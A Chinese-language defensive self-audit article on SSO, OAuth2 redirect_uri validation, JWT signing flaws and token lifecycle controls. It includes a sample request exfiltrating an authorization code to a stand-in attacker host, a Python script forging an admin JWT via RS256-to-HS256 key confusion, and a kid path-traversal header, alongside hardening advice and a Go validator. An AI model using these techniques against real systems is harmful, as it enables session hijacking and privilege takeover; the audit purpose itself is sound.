:SSO 认证中心与 Token 安全生命周期审计)
重保前的 Web 自查渗透五SSO 认证中心与 Token 安全生命周期审计在大型企业的攻防演练与重保实战中单点登录SSO中心与身份提供商IdP始终是红队首要突破的核心靶标。一旦 SSO 认证中心或 Token 签发机制被攻破攻击者即可获取全网各业务子系统的任意用户会话甚至实现垂直越权接管管理员账户。在大促与重保前夕必须对 OAuth2 / OIDC 流程、JWT 签名校验及 Token 全生命周期进行地毯式自查。Redirect URI 宽泛匹配与授权码劫持OAuth 2.0 授权码模式中redirect_uri的校验缺陷是红队劫持授权码Authorization Code的最常见突破点。若认证服务器仅使用前缀匹配或通配符正则攻击者可通过目录穿越、参数拼接或开放重定向Open Redirect漏洞将 Auth Code 导出至外网服务器# 典型攻击请求利用白名单子域名的开放重定向绕过 redirect_uri 校验 GET /oauth/v2/authorize?client_idcrm_client_01response_typecodescopeopenid%20profileredirect_urihttps://sso-callback.example.com/oauth/callback/../../redirect?urlhttps://attacker-c2.com/steal_code HTTP/1.1 Host: sso.example.com自查审计要点严格全路径匹配IdP 注册表中的redirect_uri必须配置全路径硬编码匹配严禁使用通配符如*.example.com或模糊前缀匹配。强制校验 PKCERFC 7636无论客户端是否为公共客户端SPA/移动端全量强制启用code_challenge与code_verifier校验即使授权码被中间人窃取无 Verifier 亦无法换取 Token。JWT 签名体系与解析器漏洞审计基于 JSON Web Token (JWT) 的无状态认证中签名算法与 Key 查找逻辑是实现假冒身份的高危风险区。1. 算法混淆漏洞Key Confusion: RS256 转 HS256当服务端验证公私钥体系RS256未显式锁定算法类型时攻击者可将 Header 中的alg修改为HS256并将服务端的 RSA 公钥字符串PEM 格式作为 HMAC 对称密钥对伪造的 Payload 进行签名# jwt_key_confusion_audit.py import jwt import requests def test_key_confusion(target_api, public_key_pem): # 构造伪造管理员 Payload forged_payload { sub: adminenterprise.internal, role: SuperAdmin, iat: 1758800000, exp: 1758900000 } # 恶意以公钥纯文本作为对称密钥进行 HS256 签名 forged_token jwt.encode( forged_payload, keypublic_key_pem, algorithmHS256, headers{alg: HS256, typ: JWT} ) headers {Authorization: fBearer {forged_token}} resp requests.get(target_api, headersheaders, timeout5) if resp.status_code 200: print([CRITICAL] Target is vulnerable to RS256 - HS256 key confusion!) else: print(f[*] Signature rejected, status: {resp.status_code})2. Header 参数注入kid 与 jku 攻击部分认证系统根据 JWT Header 中的kidKey ID从数据库读取密钥或从本地文件加载证书未做过滤时极易触发 SQL 注入或目录穿越{ alg: HS256, typ: JWT, kid: ../../../../../dev/null }若后端将kid作为文件路径拼接读取密钥攻击者将kid指向/dev/null随后使用空字符串作为对称密钥签名即可通过验证。Token 全生命周期安全闭环与并发重放审计Token 的生命周期不仅包括签发与校验更涉及吊销、续期和失效控制。// token_validator.go - 安全的 JWT 校验与黑名单拦截实现 package auth import ( context errors fmt github.com/golang-jwt/jwt/v5 github.com/redis/go-redis/v9 time ) type TokenVerifier struct { rdb *redis.Client publicKey []byte } func (v *TokenVerifier) ValidateAccessToken(ctx context.Context, tokenStr string) (*jwt.RegisteredClaims, error) { token, err : jwt.ParseWithClaims(tokenStr, jwt.RegisteredClaims{}, func(t *jwt.Token) (interface{}, error) { // 1. 严格限定签名算法必须为 RS256 if _, ok : t.Method.(*jwt.SigningMethodRSA); !ok { return nil, fmt.Errorf(unexpected signing method: %v, t.Header[alg]) } return jwt.ParseRSAPublicKeyFromPEM(v.publicKey) }) if err ! nil || !token.Valid { return nil, errors.New(invalid or expired token) } claims, ok : token.Claims.(*jwt.RegisteredClaims) if !ok { return nil, errors.New(cannot parse claims) } // 2. 检查 JTI 是否在 Redis 吊销黑名单中 blacklisted, err : v.rdb.Exists(ctx, fmt.Sprintf(blacklist:jti:%s, claims.ID)).Result() if err nil blacklisted 0 { return nil, errors.New(token has been revoked) } return claims, nil }Refresh Token 轮转与并发竞态审计在 Token 刷新接口中必须实施严格的 Refresh Token Rotation单次有效轮转每次客户端发起刷新旧 Refresh Token 立即作废并签发新的一对 Access/Refresh Token。若检测到同一个 Refresh Token 被使用两次说明存在泄露或并发重放攻击认证中心必须立即撤销该用户下所有活跃会话强制重新登录。通过对 SSO 流程的全链路自查与加固可以彻底封堵横向突破身份信任域的攻击路径。